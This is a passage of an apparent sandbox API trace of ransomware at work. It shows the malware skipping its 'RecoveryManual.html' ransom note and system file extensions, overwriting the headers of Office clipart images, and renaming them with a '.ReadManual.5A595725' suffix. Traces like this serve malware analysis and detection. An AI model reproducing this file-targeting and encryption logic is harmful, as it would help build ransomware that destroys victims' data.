ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78519700, ftLastWriteTime.dwHighDateTime=0x1bf111d, nFileSizeHigh=0x0, nFileSizeLow=0x48fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02470U.BMP", cAlternateFileName="")) returned 1 [0273.435] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02470U.BMP" | out: lpString1="PH02470U.BMP") returned="PH02470U.BMP" [0273.435] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.435] StrStrIW (lpFirst="PH02470U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.435] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.435] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.435] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.435] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.435] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.435] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.435] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.435] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.435] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.435] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.435] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.435] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.435] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.435] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.435] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" [0273.435] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.ReadManual.5A595725" [0273.435] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.ReadManual.5A595725") returned 87 [0273.435] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39410428038) returned 1 [0273.436] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp")) returned 0x20 [0273.436] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.437] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18684) returned 1 [0273.437] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x48fc, lpName=0x0) returned 0x184 [0273.437] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.438] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.438] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.439] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.439] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x48fc) returned 0x2f0000 [0273.440] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.440] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39410859148) returned 1 [0273.440] CloseHandle (hObject=0x184) returned 1 [0273.440] SetSecurityInfo () returned 0x57 [0273.440] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.440] CloseHandle (hObject=0x194) returned 1 [0273.440] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a0bb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7a0bb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02503U.BMP", cAlternateFileName="")) returned 1 [0273.440] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02503U.BMP" | out: lpString1="PH02503U.BMP") returned="PH02503U.BMP" [0273.440] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.440] StrStrIW (lpFirst="PH02503U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.440] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.440] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.440] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.440] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.440] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.440] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.440] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.440] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.440] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.440] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.441] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.441] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.441] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.441] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.441] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" [0273.441] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.ReadManual.5A595725" [0273.441] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.ReadManual.5A595725") returned 87 [0273.441] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39410952063) returned 1 [0273.441] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp")) returned 0x20 [0273.442] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.442] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31968) returned 1 [0273.442] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0x184 [0273.442] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.443] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.443] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.445] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.445] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ce0) returned 0x2f0000 [0273.446] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.446] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39411454387) returned 1 [0273.446] CloseHandle (hObject=0x184) returned 1 [0273.446] SetSecurityInfo () returned 0x57 [0273.446] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.446] CloseHandle (hObject=0x194) returned 1 [0273.446] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b1e300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83b1e300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x8499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02567J.JPG", cAlternateFileName="")) returned 1 [0273.446] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02567J.JPG" | out: lpString1="PH02567J.JPG") returned="PH02567J.JPG" [0273.446] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="RecoveryManual.html") returned -1 [0273.446] StrStrIW (lpFirst="PH02567J.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.446] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.446] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.446] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.446] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.446] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.446] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.446] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.446] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.446] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.446] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.446] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.446] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.447] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.447] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.447] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" [0273.447] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.ReadManual.5A595725" [0273.447] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.ReadManual.5A595725") returned 87 [0273.447] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39411544222) returned 1 [0273.447] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg")) returned 0x20 [0273.447] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.447] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33945) returned 1 [0273.447] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8499, lpName=0x0) returned 0x184 [0273.447] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.448] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.448] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.450] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.450] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8499) returned 0x2f0000 [0273.451] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.451] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39411997717) returned 1 [0273.451] CloseHandle (hObject=0x184) returned 1 [0273.451] SetSecurityInfo () returned 0x57 [0273.451] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.451] CloseHandle (hObject=0x194) returned 1 [0273.452] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd929e00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd929e00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x639b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02736G.GIF", cAlternateFileName="")) returned 1 [0273.452] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02736G.GIF" | out: lpString1="PH02736G.GIF") returned="PH02736G.GIF" [0273.452] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="RecoveryManual.html") returned -1 [0273.452] StrStrIW (lpFirst="PH02736G.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.452] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0273.452] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0273.452] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0273.452] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0273.452] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0273.452] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0273.452] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0273.452] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0273.452] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0273.452] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0273.452] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0273.452] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0273.452] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0273.452] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0273.452] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" [0273.452] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.ReadManual.5A595725" [0273.452] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.ReadManual.5A595725") returned 87 [0273.452] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39412086220) returned 1 [0273.452] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif")) returned 0x20 [0273.453] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.453] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=25499) returned 1 [0273.453] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x639b, lpName=0x0) returned 0x184 [0273.453] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.454] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.454] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.456] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.456] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x639b) returned 0x2f0000 [0273.456] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.456] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39412521156) returned 1 [0273.456] CloseHandle (hObject=0x184) returned 1 [0273.457] SetSecurityInfo () returned 0x57 [0273.457] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.457] CloseHandle (hObject=0x194) returned 1 [0273.457] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924cca00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x924cca00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02736U.BMP", cAlternateFileName="")) returned 1 [0273.457] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02736U.BMP" | out: lpString1="PH02736U.BMP") returned="PH02736U.BMP" [0273.457] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.457] StrStrIW (lpFirst="PH02736U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.457] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.457] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.457] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.457] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.457] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.457] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.457] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.457] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.457] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.457] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.457] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.457] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.457] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.457] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.457] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" [0273.457] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.ReadManual.5A595725" [0273.457] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.ReadManual.5A595725") returned 87 [0273.457] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39412601720) returned 1 [0273.457] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp")) returned 0x20 [0273.457] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.458] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32400) returned 1 [0273.458] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e90, lpName=0x0) returned 0x184 [0273.458] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.459] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.459] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.463] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.463] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e90) returned 0x2f0000 [0273.464] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.464] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39413276421) returned 1 [0273.464] CloseHandle (hObject=0x184) returned 1 [0273.464] SetSecurityInfo () returned 0x57 [0273.464] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.464] CloseHandle (hObject=0x194) returned 1 [0273.464] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c36200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c36200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02738U.BMP", cAlternateFileName="")) returned 1 [0273.464] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02738U.BMP" | out: lpString1="PH02738U.BMP") returned="PH02738U.BMP" [0273.464] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.464] StrStrIW (lpFirst="PH02738U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.464] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.464] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.464] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.465] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.465] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.465] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.465] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.465] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.465] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.465] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.465] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.465] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.465] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.465] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.465] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program 